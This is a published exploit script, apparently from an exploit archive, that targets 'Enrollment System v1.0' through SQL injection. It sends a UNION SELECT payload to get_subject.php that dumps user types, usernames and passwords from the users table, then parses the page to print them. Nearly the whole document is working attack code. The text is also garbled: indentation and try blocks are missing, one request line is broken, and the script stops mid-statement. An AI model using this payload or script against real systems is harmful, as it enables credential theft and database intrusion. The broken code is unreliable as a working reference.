# Exploit Title: Enrollment System v1.0 - SQL Injection  
# Date: 27 December 2023  
# Exploit Author: Gnanaraj Mauviel (@0xm3m)  
# Vendor: Obi08  
# Vendor Homepage:  
# Software Link:  
# Version: v1.0  
# Tested on: Mac OSX, XAMPP, Apache, MySQL  
from bs4 import BeautifulSoup  
import requests  
import urllib3  
#The Config class defines three class attributes: BASE_URL, URI, and PAYLOAD.  
#BASE_URL is set to the string "http://localhost/enrollment_system".  
#URI is set to the string "/get_subject.php".  
#PAYLOAD is set to the string "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -".  
class Config:  
BASE_URL = "http://localhost/enrollment_system"  
URI = '/get_subject.php'  
PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -"  
proxies = {'http': '', 'https': ''}  
#This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object.  
#The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string.  
def exploit_sqli(session: requests.Session, config: Config) -> str:  
Exploits SQL injection vulnerability in the given URL.  
session (requests.Session): The session object to use for making the request.  
config (Config): Configuration object containing base URL, URI, and payload.  
str: The response text from the request.  
url = f"{config.BASE_URL}{config.URI}"  
params = {'keyword': config.PAYLOAD}  
response = make_request(session, url, params)  
return response.text  
except requests.RequestException as e:  
print(f"Request failed: {e}")  
return ""  
#This code defines a function called make_request that takes in a requests.Session object, a URL string, and a dictionary of parameters. It makes a POST request using the provided session and parameters, and returns the response object. The function has type hints indicating the types of the arguments and the return value.   
def make_request(session: requests.Session, url: str, params: dict) -> requests.Response:  
Make a POST request with error handling.  
session (requests.Session): The session object to use for making the request.  
url (str): The URL to send the request to.  
params (dict): The parameters to include in the request.  
requests.Response: The response object.  
return, data=params, verify=False, proxies=proxies)  
#This code snippet defines a function called parse_html that takes a string parameter response_text. It uses the BeautifulSoup library to parse the HTML in response_text and extract specific data from it. It finds all <tr> elements in the HTML, skips the header row, and then iterates over the remaining rows. For each row, it finds all <td> elements and extracts the text content from the second and third column. Finally, it prints a formatted string that includes the extracted data.  
def parse_html(response_text: str):  
soup = BeautifulSoup(response_text, 'html.parser')  
rows = soup.find_all('tr')[1:] # Skip the header row  
for row in rows:  
columns = row.find_all('td')  
if columns:  
subject_code = columns[1].text.strip()  
subject_description = columns[2].text.strip()  
print(f"User_Type::Username::Password == {subject_code}")  
if __name__ == "__main__":  
# file deepcode ignore MissingClose: <please specify a reason of ignoring this>  
session = requests.Session()  
response = exploit_sqli(session, Config)  
if response: